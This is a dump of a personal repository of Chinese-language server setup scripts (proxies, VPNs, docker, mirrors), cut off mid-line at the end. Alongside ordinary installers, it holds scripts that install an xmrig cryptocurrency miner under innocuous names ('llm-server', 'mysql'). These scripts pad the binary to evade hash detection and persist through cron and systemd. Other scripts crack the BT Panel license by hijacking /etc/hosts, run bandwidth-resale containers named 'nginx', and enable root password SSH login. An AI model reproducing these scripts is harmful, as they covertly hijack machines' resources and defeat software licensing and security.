GB2312 477 | # zh_SG.GBK GBK 478 | # zh_SG.UTF-8 UTF-8 479 | # zh_TW BIG5 480 | # zh_TW.EUC-TW EUC-TW 481 | # zh_TW.UTF-8 UTF-8 482 | # zu_ZA ISO-8859-1 483 | # zu_ZA.UTF-8 UTF-8 484 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bash 2 | 一些自己写(chao)的jio本 3 | 4 | DD: 5 | 6 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/MoeClub/Note/master/InstallNET.sh') -dd 'https://api.moeclub.org/redirect/win8.1emb_x64.tar.gz' 7 | 8 |

9 | DeBian 10国内源
10 | deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
11 | deb http://mirrors.aliyun.com/debian-security buster/updates main
12 | deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
13 | deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
14 |
15 | deb-src http://mirrors.aliyun.com/debian-security buster/updates main
16 | deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
17 | deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
18 | deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
19 |

20 | 21 |

22 | GOlang 和 nodejs
23 | curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash
24 | nvm install 12.18.0
25 | #国内源:
26 | #export NVM_NODEJS_ORG_MIRROR=https://npm.taobao.org/mirrors/node
27 | #npm config set registry http://registry.npm.taobao.org
28 |
29 | curl -SL https://gitee.com/skiy/golang-install/raw/master/install.sh | bash /dev/stdin -v 1.13.6
30 | set GOOS=linux
31 | set GOARCH=s390x
32 |

33 | 网易解锁
34 | docker run --restart=always --name unmusic -d -p 6666:8080 nondanee/unblockneteasemusic 35 | -------------------------------------------------------------------------------- /adg/README.md: -------------------------------------------------------------------------------- 1 | curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v 2 | 3 | /opt/AdGuardHome/AdGuardHome -s start|stop|restart|status|install|uninstall 4 | -------------------------------------------------------------------------------- /adg/hosts.txt: -------------------------------------------------------------------------------- 1 | 20.38.1.22 bd.p2p.huya.com 2 | 20.38.1.22 huyaimg.msstatic.com 3 | -------------------------------------------------------------------------------- /aws/README.md: -------------------------------------------------------------------------------- 1 | V1.0
2 | curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip"
3 | unzip awscli-bundle.zip
4 | ./awscli-bundle/install -b ~/bin/aws
5 | -------------------------------------------------------------------------------- /aws/aws_cli.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip" 3 | unzip awscli-bundle.zip 4 | ./awscli-bundle/install -b ~/bin/aws 5 | -------------------------------------------------------------------------------- /caddy/README.md: -------------------------------------------------------------------------------- 1 | `` 2 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/caddy/proxy.sh') 3 | `` 4 | 5 | 6 | ##支持Ubuntu16+ debian9+ 7 | 8 | 9 | **手动修改替换内容规则** 10 | 11 | 12 | ``` 13 | filter rule { 14 | path .* 15 | search_pattern "需要替换内容" 16 | replacement "内容" 17 | } 18 | ``` 19 | 20 | 21 | 加到domain{}里面 再运行 'ppxcaddy restart' 就可以了 22 | 23 | 24 | 演示站: 25 | https://gg.ppxwo.cf 26 | -------------------------------------------------------------------------------- /caddy/proxy.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin 3 | export PATH 4 | 5 | Caddy_Install(){ 6 | apt update -y 7 | apt install curl zip lrzsz psmisc dnsutils -y 8 | groupadd -r www 9 | useradd -r -g www -s /bin/false -d /usr/local/www -M www 10 | echo "正在安装Caddy..." 11 | wget -O /usr/bin/caddy https://raw.githubusercontent.com/caippx/caddy-v1/master/caddy 12 | chmod +x /usr/bin/caddy 13 | ulimit -n 51200 14 | mkdir -p /data/www/ 15 | mkdir -p /etc/caddy/conf.d 16 | echo "import conf.d/*" > /etc/caddy/caddy.conf 17 | chown -R www:www /data/www/ 18 | echo ' 19 | stop(){ 20 | killall -9 caddy 21 | } 22 | start(){ 23 | ulimit -n 51200 24 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 & 25 | sleep 10 26 | runcaddy=`ps -ef | grep -v grep | grep "caddy"` 27 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!" && echo "反代将会自动替换域名" 28 | [[ -z ${runcaddy} ]] && echo "Caddy 启动失败,可能是配置错误" 29 | } 30 | 31 | restart(){ 32 | stop 33 | start 34 | } 35 | 36 | status(){ 37 | 38 | runcaddy=`ps -ef | grep -v grep | grep "caddy"` 39 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!" 40 | [[ -z ${runcaddy} ]] && echo "Caddy 未运行" 41 | 42 | } 43 | 44 | [[ $1 == "start" ]] && start 45 | [[ $1 == "stop" ]] && stop 46 | [[ $1 == "restart" ]] && restart 47 | [[ $1 == "status" ]] && status 48 | ' > /usr/bin/ppxcaddy 49 | chmod +x /usr/bin/ppxcaddy 50 | echo "usage-ppxcaddy start/stop/restart/status" 51 | } 52 | Caddy_Config(){ 53 | protocol="http://" 54 | filter_txt="" 55 | echo && stty erase '^H' && read -p "输入域名(如要启用SSL请提前绑定到VPS IP): " domain 56 | [[ -z ${domain} ]] && echo "域名为空" && exit 0 57 | echo && stty erase '^H' && read -p "是否启用SSL(HTTPS):[y/n] " ssl 58 | [[ ${ssl} == "y" ]] && sslinfo="tls xxxx@$domain" && protocol="https://" 59 | echo "正在检查输入域名是否解析IP" 60 | IP=`dig $domain | grep $domain | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}"` 61 | IP_VPS=`curl http://whatismyip.akamai.com` 62 | [[ ${IP} != ${IP_VPS} ]] && echo "解析暂未生效,请稍候重试" && exit 0 63 | echo && stty erase '^H' && read -p "输入你要反代的域名 不带https/http 例如(www.baidu.com): " proxy_domain 64 | echo && stty erase '^H' && read -p "输入你要替换的原内容不需要请留空(默认已经替换域名):" filter_txt_old 65 | [[ -n ${filter_txt_old} ]] && stty erase '^H' && read -p "输入你要替换的内容:" filter_txt_new && filter_txt=" 66 | filter rule { 67 | path .* 68 | search_pattern \"$filter_txt_old\" 69 | replacement \"$filter_txt_new\" 70 | } 71 | " 72 | 73 | echo " 74 | $domain { 75 | root /data/www/$domain 76 | $sslinfo 77 | gzip 78 | proxy / https://$proxy_domain { 79 | header_upstream Host $proxy_domain 80 | header_upstream Referer https://$proxy_domain 81 | header_upstream -X-Forwarded-For 82 | header_upstream X-Real-IP {remote} 83 | header_upstream User-Agent {>User-Agent} 84 | header_upstream Accept-Encoding identity 85 | } 86 | 87 | filter rule { 88 | path .* 89 | search_pattern $proxy_domain 90 | replacement $domain 91 | } 92 | 93 | $filter_txt 94 | 95 | ##filter 96 | 97 | 98 | } 99 | " > /etc/caddy/conf.d/$domain 100 | 101 | mkdir -p /data/www/$domain 102 | chown www:www -R /data/www/$domain 103 | killall -9 caddy 104 | ulimit -n 51200 105 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 & 106 | sleep 10 107 | runcaddy=`ps -ef | grep -v grep | grep "caddy"` 108 | [[ -n ${runcaddy} ]] && echo "Caddy 启动成功!" && echo "反代将会自动替换域名" 109 | [[ -z ${runcaddy} ]] && echo "Caddy 启动失败,可能是配置错误" 110 | } 111 | 112 | 113 | [ ! -f "/etc/caddy/caddy.conf" ] && Caddy_Install 114 | [ -f "/etc/caddy/caddy.conf" ] && echo "Caddy已经安装 增加新反代配置" && Caddy_Config 115 | -------------------------------------------------------------------------------- /cfworkers/429.html: -------------------------------------------------------------------------------- 1 | 429-Too Many Cat 2 | 3 | 17 |
18 | 19 |
20 | -------------------------------------------------------------------------------- /cfworkers/README.md: -------------------------------------------------------------------------------- 1 | # 2 | proxy.js 用于反代 3 | -------------------------------------------------------------------------------- /cfworkers/cf5s_under_attack.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Welcome to the PPX"s Home. 6 | 7 | 8 | 9 | 10 | 28 | 29 |
11 | 12 |

13 | 欢迎来到皮皮虾窝...

14 |
::IM_UNDER_ATTACK_BOX::
15 | 20 | 21 |

22 | 骚等一会儿,皮皮虾马上就来.

23 | 24 |

给我雷比小心心

25 | 26 |

访客IP: ::CLIENT_IP::

27 |
30 | 31 | 32 | -------------------------------------------------------------------------------- /cfworkers/proxy.js: -------------------------------------------------------------------------------- 1 | addEventListener( 2 | "fetch",event => { 3 | let url=new URL(event.request.url); 4 | const { searchParams } = url 5 | let name = searchParams.get('url') 6 | if(!name){ 7 | name = "https://p.pstatp.com/origin/ff1200011e53e504c49c" 8 | } 9 | url=name; 10 | if(url == ""){ 11 | url="https://p.pstatp.com/origin/ff1200011e53e504c49c" 12 | } 13 | let request=new Request(url,event.request); 14 | const init = { 15 | headers: { 16 | "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36", 17 | 18 | }, 19 | } 20 | event.respondWith( 21 | fetch(request,init)) 22 | } 23 | ) 24 | -------------------------------------------------------------------------------- /chfs/README.md: -------------------------------------------------------------------------------- 1 | #一个简单的文件分享 2 | 3 | -------------------------------------------------------------------------------- /chfs/chfs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/chfs/chfs -------------------------------------------------------------------------------- /docker/anyconnect/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Script by MoeClub.org 3 | 4 | [ $EUID -ne 0 ] && echo "Error:This script must be run as root!" && exit 1 5 | EthName=`cat /proc/net/dev |grep ':' |cut -d':' -f1 |sed 's/\s//g' |grep -iv '^lo\|^sit\|^stf\|^gif\|^dummy\|^vmnet\|^vir\|^gre\|^ipip\|^ppp\|^bond\|^tun\|^tap\|^ip6gre\|^ip6tnl\|^teql\|^ocserv\|^vpn' |sed -n '1p'` 6 | [ -n "$EthName" ] || exit 1 7 | 8 | command -v yum >>/dev/null 2>&1 9 | if [ $? -eq 0 ]; then 10 | yum install -y curl wget nc xz openssl gnutls-utils 11 | else 12 | apt-get install -y curl wget netcat openssl gnutls-bin xz-utils 13 | fi 14 | 15 | XCMDS=("wget" "tar" "xz" "nc" "openssl" "certtool") 16 | for XCMD in "${XCMDS[@]}"; do command -v "$XCMD" >>/dev/null 2>&1; [ $? -ne 0 ] && echo "Not Found $XCMD."; done 17 | 18 | osVer="$(dpkg --print-architecture 2>/dev/null)" 19 | if [ -n "$osVer" -a "$osVer" == "amd64" ]; then 20 | debVer="$(cat /etc/issue |grep -io 'Debian.*' |sed -r 's/(.*)/\L\1/' |grep -o '[0-9.]*')" 21 | if [ "$debVer" == "9" ]; then 22 | bash <(wget --no-check-certificate -4 -qO- 'https://raw.githubusercontent.com/MoeClub/apt/master/bbr/bbr.sh') 0 0 23 | fi 24 | fi 25 | 26 | 27 | mkdir -p /tmp 28 | PublicIP="$(wget --no-check-certificate -4 -qO- http://checkip.amazonaws.com)" 29 | 30 | # vlmcs 31 | rm -rf /etc/vlmcs 32 | wget --no-check-certificate -4 -qO /tmp/vlmcs.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/vlmcsd/vlmcsd.tar' 33 | tar --overwrite -xvf /tmp/vlmcs.tar -C / 34 | [ -f /etc/vlmcs/vlmcs.d ] && bash /etc/vlmcs/vlmcs.d init 35 | 36 | # dnsmasq 37 | rm -rf /etc/dnsmasq.d 38 | wget --no-check-certificate -4 -qO /tmp/dnsmasq.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/build/dnsmasq_v2.82.tar' 39 | tar --overwrite -xvf /tmp/dnsmasq.tar -C / 40 | sed -i "s/#\?except-interface=.*/except-interface=${EthName}/" /etc/dnsmasq.conf 41 | 42 | if [ -f /etc/crontab ]; then 43 | sed -i '/dnsmasq/d' /etc/crontab 44 | while [ -z "$(sed -n '$p' /etc/crontab)" ]; do sed -i '$d' /etc/crontab; done 45 | sed -i "\$a\@reboot root /usr/sbin/dnsmasq >>/dev/null 2>&1 &\n\n\n" /etc/crontab 46 | fi 47 | 48 | # ocserv 49 | rm -rf /etc/ocserv 50 | wget --no-check-certificate -4 -qO /tmp/ocserv.tar 'https://raw.githubusercontent.com/MoeClub/Note/master/AnyConnect/build/ocserv_v0.12.3.tar' 51 | tar --overwrite -xvf /tmp/ocserv.tar -C / 52 | 53 | # server cert key file: /etc/ocserv/server.key.pem 54 | openssl genrsa -out /etc/ocserv/server.key.pem 2048 55 | # server cert file: /etc/ocserv/server.cert.pem 56 | openssl req -new -x509 -days 3650 -key /etc/ocserv/server.key.pem -out /etc/ocserv/server.cert.pem -subj "/C=/ST=/L=/O=/OU=/CN=${PublicIP}" 57 | 58 | # Default User 59 | UserPasswd=`openssl passwd MoeClub` 60 | echo -e "Default:Default:${UserPasswd}\nRoute:Route:${UserPasswd}\nNoRoute:NoRoute:${UserPasswd}\n" >/etc/ocserv/ocpasswd 61 | 62 | bash /etc/ocserv/template/client.sh 63 | 64 | chown -R root:root /etc/ocserv 65 | chmod -R 755 /etc/ocserv 66 | 67 | [ -d /lib/systemd/system ] && find /lib/systemd/system -name 'ocserv*' -delete 68 | 69 | if [ -f /etc/crontab ]; then 70 | sed -i '/\/etc\/ocserv/d' /etc/crontab 71 | while [ -z "$(sed -n '$p' /etc/crontab)" ]; do sed -i '$d' /etc/crontab; done 72 | sed -i "\$a\@reboot root bash /etc/ocserv/ocserv.d >>/dev/null 2>&1 &\n\n\n" /etc/crontab 73 | fi 74 | 75 | # Sysctl 76 | if [ -f /etc/sysctl.conf ]; then 77 | sed -i '/^net\.ipv4\.ip_forward/d' /etc/sysctl.conf 78 | while [ -z "$(sed -n '$p' /etc/sysctl.conf)" ]; do sed -i '$d' /etc/sysctl.conf; done 79 | sed -i '$a\net.ipv4.ip_forward = 1\n\n' /etc/sysctl.conf 80 | fi 81 | 82 | # Limit 83 | if [[ -f /etc/security/limits.conf ]]; then 84 | LIMIT='262144' 85 | sed -i '/^\(\*\|root\).*\(hard\|soft\).*\(memlock\|nofile\)/d' /etc/security/limits.conf 86 | while [ -z "$(sed -n '$p' /etc/security/limits.conf)" ]; do sed -i '$d' /etc/security/limits.conf; done 87 | echo -ne "*\thard\tnofile\t${LIMIT}\n*\tsoft\tnofile\t${LIMIT}\nroot\thard\tnofile\t${LIMIT}\nroot\tsoft\tnofile\t${LIMIT}\n" >>/etc/security/limits.conf 88 | echo -ne "*\thard\tmemlock\t${LIMIT}\n*\tsoft\tmemlock\t${LIMIT}\nroot\thard\tmemlock\t${LIMIT}\nroot\tsoft\tmemlock\t${LIMIT}\n\n\n" >>/etc/security/limits.conf 89 | fi 90 | 91 | # SSH 92 | #[ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?Port .*/Port 9527/g" /etc/ssh/sshd_config; 93 | [ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?PermitRootLogin.*/PermitRootLogin yes/g" /etc/ssh/sshd_config; 94 | [ -f /etc/ssh/sshd_config ] && sed -i "s/^#\?PasswordAuthentication.*/PasswordAuthentication yes/g" /etc/ssh/sshd_config; 95 | 96 | # Timezone 97 | cp -f /usr/share/zoneinfo/PRC /etc/localtime 98 | echo "Asia/Shanghai" >/etc/timezone 99 | -------------------------------------------------------------------------------- /docker/anyconnect/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | domain=$DOMAIN 4 | pwd=$PWD 5 | 6 | sed -i "s/server.cert.pem/crt.crt/" /etc/ocserv/ocserv.conf 7 | sed -i "s/server.key.pem/key.key/" /etc/ocserv/ocserv.conf 8 | sed -i "s/#udp-port = 443/udp-port = 443/" /etc/ocserv/ocserv.conf 9 | 10 | openssl genrsa -out /etc/ocserv/key.key 2048 11 | openssl req -new -x509 -days 3650 -key /etc/ocserv/key.key -out /etc/ocserv/crt.crt -subj "/C=HH/ST=HANHAN/L=HH/O=hanhanvpn/OU=hanhanvpn/CN=${domain}" 12 | 13 | ocpasswd -g NoRoute ppxnoroute < /usr/local/bin/docker-compose 6 | 7 | chmod +x /usr/local/bin/docker-compose 8 | ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose 9 | docker-compose version 10 | -------------------------------------------------------------------------------- /docker/yotter/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | 3 | services: 4 | mariadb: 5 | image: mariadb:10.5 6 | container_name: mariadb-yotter 7 | restart: unless-stopped 8 | environment: 9 | MYSQL_ROOT_PASSWORD: setyourpassword 10 | MYSQL_DATABASE: yotter 11 | MYSQL_USER: yotter 12 | MYSQL_PASSWORD: setyourpassword 13 | volumes: 14 | - mariadb:/var/lib/mysql 15 | healthcheck: 16 | test: ["CMD", "mysqladmin", "ping", "--silent"] 17 | 18 | yotter: 19 | image: ytorg/yotter:latest 20 | container_name: yotter 21 | restart: unless-stopped 22 | ports: 23 | - "127.0.0.1:5000:5000" 24 | environment: 25 | DATABASE_URL: mysql+pymysql://yotter:setyourpassword@mariadb:3306/yotter 26 | depends_on: 27 | - mariadb 28 | volumes: 29 | - migrations:/usr/src/app/migrations 30 | - ./yotter-config.json:/usr/src/app/yotter-config.json 31 | 32 | volumes: 33 | mariadb: 34 | migrations: 35 | -------------------------------------------------------------------------------- /docker/yotter/yotter-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "serverName": "hanhanytb.azurewebsites.net", 3 | "nitterInstance": "https://nitter.net/", 4 | "maxInstanceUsers": 20, 5 | "serverLocation": "China", 6 | "restrictPublicUsage":true, 7 | "nginxVideoStream":true, 8 | "maintenance_mode":false, 9 | "show_admin_message":false, 10 | "admin_message_title":"Message from the admin", 11 | "admin_message":"Message from the admin text" 12 | } 13 | -------------------------------------------------------------------------------- /docker/zfaka/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #删除zip 4 | rm -rf /data/wwwroot/zfaka/fk.zip 5 | #修改数据库信息 6 | sed -i "s/Mysql_Host/$HOST/g" /data/wwwroot/zfaka/conf/application.ini 7 | sed -i "s/Mysql_Port/$PORT/g" /data/wwwroot/zfaka/conf/application.ini 8 | sed -i "s/Mysql_User/$USER/g" /data/wwwroot/zfaka/conf/application.ini 9 | sed -i "s/Mysql_Passwd/$PASSWD/g" /data/wwwroot/zfaka/conf/application.ini 10 | sed -i "s/Mysql_DataBase/$DATABASE/g" /data/wwwroot/zfaka/conf/application.ini 11 | 12 | #配置虚拟主机信息 13 | echo " 14 | server { 15 | listen 80; 16 | server_name $DOMAIN; 17 | root /data/wwwroot/zfaka/public; 18 | location ~ \.php$ { 19 | fastcgi_pass unix:/usr/local/php/var/run/www-php-fpm.sock; 20 | fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name; 21 | include fastcgi_params; 22 | } 23 | } 24 | " > /etc/nginx/conf.d/zfaka.conf 25 | certbot --nginx --agree-tos --register-unsafely-without-email --no-eff-email --email example@$DOMAIN </dev/null 2>&1; then 4 | echo "docker 已安装" 5 | else 6 | apt update -y && bash <(curl -sSL https://get.docker.com) 7 | fi 8 | 9 | TOKEN=$1 10 | t=$2 11 | 12 | docker run -d --restart always --name nginx traffmonetizer/cli_v2 start accept --token $TOKEN 13 | docker exec nginx sh -c " 14 | for i in \$(seq 1 $t); do 15 | dir=/tr/\$i 16 | mkdir -p \$dir 17 | cd \$dir 18 | /app/Cli start accept --token $TOKEN >/dev/null 2>&1 & 19 | sleep 0.5 20 | done 21 | " 22 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/data.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/data.zip -------------------------------------------------------------------------------- /drfytgybhunjoimkol/gjstystrystryh.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd ~ && wget https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/LinuxPanel-7.4.3.zip 3 | unzip LinuxPanel-* && cd panel && bash update.sh 4 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel 5 | #latest_ver=$(curl -s https://www.bt.cn/api/panel/get_version) 6 | echo "44.234.251.213 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts 7 | sed -i "s/7.4.3/${latest_ver}/" /www/server/panel/class/common.py 8 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py 9 | curl -s -o /dev/null www.bt.cn 10 | bt restart 11 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/ip_ssl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #把宝塔自签ssl证书修改为免费的信任ip证书 4 | 5 | ip=`curl -s http://whatismyip.akamai.com/` 6 | 7 | ssl_dir="/www/server/panel/vhost/ssl/$ip" 8 | bt_ssl_dir="/www/server/panel/ssl" 9 | 10 | 11 | crt=`cat $ssl_dir/fullchain.pem` 12 | key=`cat $ssl_dir/privkey.pem` 13 | 14 | echo "$crt" > $bt_ssl_dir/certificate.pem 15 | echo "$key" > $bt_ssl_dir/privateKey.pem 16 | 17 | #修改端口 18 | [[ -n $1 ]] && echo "$1" > /www/server/panel/data/port.pl && iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport $1 -j ACCEPT 19 | 20 | bt restart 21 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/llm-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "autosave": true, 3 | "cpu": { 4 | "enabled": true, 5 | "huge-pages": true, 6 | "huge-pages-jit": false, 7 | "hw-aes": null, 8 | "priority": null, 9 | "memory-pool": true, 10 | "yield": true, 11 | "max-threads-hint": 100, 12 | "asm": true, 13 | "argon2-impl": null, 14 | "cn/0": false, 15 | "cn-lite/0": false 16 | }, 17 | "opencl": false, 18 | "cuda": false, 19 | "huge-pages":true, 20 | "pools": [ 21 | { 22 | "url": "llmproxy.6553500.xyz:443", 23 | "rig-id": "x", 24 | "tls": true 25 | } 26 | ] 27 | } 28 | -------------------------------------------------------------------------------- /drfytgybhunjoimkol/llm-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | llmserver="${2:-llmproxy.6553500.xyz}" 4 | 5 | arch=$(uname -m) 6 | if ! command -v unzip 7 | then 8 | echo "unzip 不存在,正在安装..." 9 | apt update -y & apt install zip -y 10 | echo "unzip 安装完成" 11 | else 12 | echo "unzip 已经安装" 13 | fi 14 | if ! command -v crontab 15 | then 16 | echo "定时任务 不存在,正在安装..." 17 | apt update -y & apt install cron -y 18 | echo "定时任务 安装完成" 19 | else 20 | echo "定时任务 已经安装" 21 | fi 22 | U=$1 23 | if [[ "$arch" == "arm"* || "$arch" == "aarch64" ]]; then 24 | param="arm" 25 | echo "是arm 下载arm版本" 26 | else 27 | param="" 28 | fi 29 | 30 | wget https://github.com/caippx/xmrig/releases/download/6.22.2/llm$param.zip 31 | unzip llm$param.zip && rm -rf llm$param.zip 32 | mkdir /etc/llm/ 33 | mv llm /etc/llm/llm-server 34 | cd /etc/llm 35 | count=$((RANDOM % 1000 + 1)) 36 | for ((i = 0; i < count; i++)); do 37 | echo -n "0" >> "/etc/llm/llm-server" 38 | done 39 | wget https://raw.githubusercontent.com/caippx/bash/refs/heads/master/drfytgybhunjoimkol/random_usage.sh 40 | chmod +x random_usage.sh 41 | cron_job="0 */2 * * * /etc/llm/random_usage.sh" 42 | (crontab -l | grep -qF "$cron_job") || (crontab -l; echo "$cron_job") | crontab - 43 | service cron reload 44 | service crond reload 45 | cat > /etc/systemd/system/llm.service < setup_moneroocean_miner.sh []" 24 | echo "ERROR: Please specify your wallet address" 25 | exit 1 26 | fi 27 | 28 | WALLET_BASE=`echo $WALLET | cut -f1 -d"."` 29 | if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then 30 | echo "ERROR: Wrong wallet base address length (should be 106 or 95): ${#WALLET_BASE}" 31 | exit 1 32 | fi 33 | 34 | if [ -z $HOME ]; then 35 | echo "ERROR: Please define HOME environment variable to your home directory" 36 | exit 1 37 | fi 38 | 39 | if [ ! -d $HOME ]; then 40 | echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:" 41 | echo ' export HOME=' 42 | exit 1 43 | fi 44 | 45 | if ! type curl >/dev/null; then 46 | echo "ERROR: This script requires \"curl\" utility to work correctly" 47 | exit 1 48 | fi 49 | 50 | if ! type lscpu >/dev/null; then 51 | echo "WARNING: This script requires \"lscpu\" utility to work correctly" 52 | fi 53 | 54 | #if ! sudo -n true 2>/dev/null; then 55 | # if ! pidof systemd >/dev/null; then 56 | # echo "ERROR: This script requires systemd to work correctly" 57 | # exit 1 58 | # fi 59 | #fi 60 | 61 | # calculating port 62 | 63 | CPU_THREADS=$(nproc) 64 | EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000)) 65 | if [ -z $EXP_MONERO_HASHRATE ]; then 66 | echo "ERROR: Can't compute projected Monero CN hashrate" 67 | exit 1 68 | fi 69 | 70 | power2() { 71 | if ! type bc >/dev/null; then 72 | if [ "$1" -gt "8192" ]; then 73 | echo "8192" 74 | elif [ "$1" -gt "4096" ]; then 75 | echo "4096" 76 | elif [ "$1" -gt "2048" ]; then 77 | echo "2048" 78 | elif [ "$1" -gt "1024" ]; then 79 | echo "1024" 80 | elif [ "$1" -gt "512" ]; then 81 | echo "512" 82 | elif [ "$1" -gt "256" ]; then 83 | echo "256" 84 | elif [ "$1" -gt "128" ]; then 85 | echo "128" 86 | elif [ "$1" -gt "64" ]; then 87 | echo "64" 88 | elif [ "$1" -gt "32" ]; then 89 | echo "32" 90 | elif [ "$1" -gt "16" ]; then 91 | echo "16" 92 | elif [ "$1" -gt "8" ]; then 93 | echo "8" 94 | elif [ "$1" -gt "4" ]; then 95 | echo "4" 96 | elif [ "$1" -gt "2" ]; then 97 | echo "2" 98 | else 99 | echo "1" 100 | fi 101 | else 102 | echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l; 103 | fi 104 | } 105 | 106 | PORT=$(( $EXP_MONERO_HASHRATE * 30 )) 107 | PORT=$(( $PORT == 0 ? 1 : $PORT )) 108 | PORT=`power2 $PORT` 109 | PORT=$(( 10000 + $PORT )) 110 | if [ -z $PORT ]; then 111 | echo "ERROR: Can't compute port" 112 | exit 1 113 | fi 114 | 115 | if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then 116 | echo "ERROR: Wrong computed port value: $PORT" 117 | exit 1 118 | fi 119 | 120 | 121 | # printing intentions 122 | 123 | echo "I will download, setup and run in background Monero CPU miner." 124 | echo "If needed, miner in foreground can be started by $HOME/moneroocean/miner.sh script." 125 | echo "Mining will happen to $WALLET wallet." 126 | if [ ! -z $EMAIL ]; then 127 | echo "(and $EMAIL email as password to modify wallet options later at https://moneroocean.stream site)" 128 | fi 129 | echo 130 | 131 | if ! sudo -n true 2>/dev/null; then 132 | echo "Since I can't do passwordless sudo, mining in background will started from your $HOME/.profile file first time you login this host after reboot." 133 | else 134 | echo "Mining in background will be performed using moneroocean_miner systemd service." 135 | fi 136 | 137 | echo 138 | echo "JFYI: This host has $CPU_THREADS CPU threads, so projected Monero hashrate is around $EXP_MONERO_HASHRATE KH/s." 139 | echo 140 | 141 | echo "Sleeping for 15 seconds before continuing (press Ctrl+C to cancel)" 142 | echo 143 | echo 144 | 145 | # start doing stuff: preparing miner 146 | 147 | echo "[*] Removing previous moneroocean miner (if any)" 148 | if sudo -n true 2>/dev/null; then 149 | sudo systemctl stop moneroocean_miner.service 150 | fi 151 | killall -9 xmrig 152 | 153 | echo "[*] Removing $HOME/moneroocean directory" 154 | rm -rf $HOME/moneroocean 155 | 156 | echo "[*] Downloading MoneroOcean advanced version of xmrig to /tmp/xmrig.tar.gz" 157 | if ! curl -L --progress-bar "https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then 158 | echo "ERROR: Can't download https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz file to /tmp/xmrig.tar.gz" 159 | exit 1 160 | fi 161 | 162 | echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/mysql" 163 | [ -d $HOME/mysql ] || mkdir $HOME/mysql 164 | if ! tar xf /tmp/xmrig.tar.gz -C $HOME/mysql; then 165 | echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/mysql directory" 166 | exit 1 167 | fi 168 | rm /tmp/xmrig.tar.gz 169 | mv $HOME/mysql/xmrig $HOME/mysql/mysql 170 | echo "[*] Checking if advanced version of $HOME/mysql/mysql works fine (and not removed by antivirus software)" 171 | sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/mysql/config.json 172 | $HOME/mysql/mysql --help >/dev/null 173 | if (test $? -ne 0); then 174 | if [ -f $HOME/mysql/mysql ]; then 175 | echo "WARNING: Advanced version of $HOME/mysql/mysql is not functional" 176 | else 177 | echo "WARNING: Advanced version of $HOME/mysql/mysql was removed by antivirus (or some other problem)" 178 | fi 179 | 180 | echo "[*] Looking for the latest version of Monero miner" 181 | LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 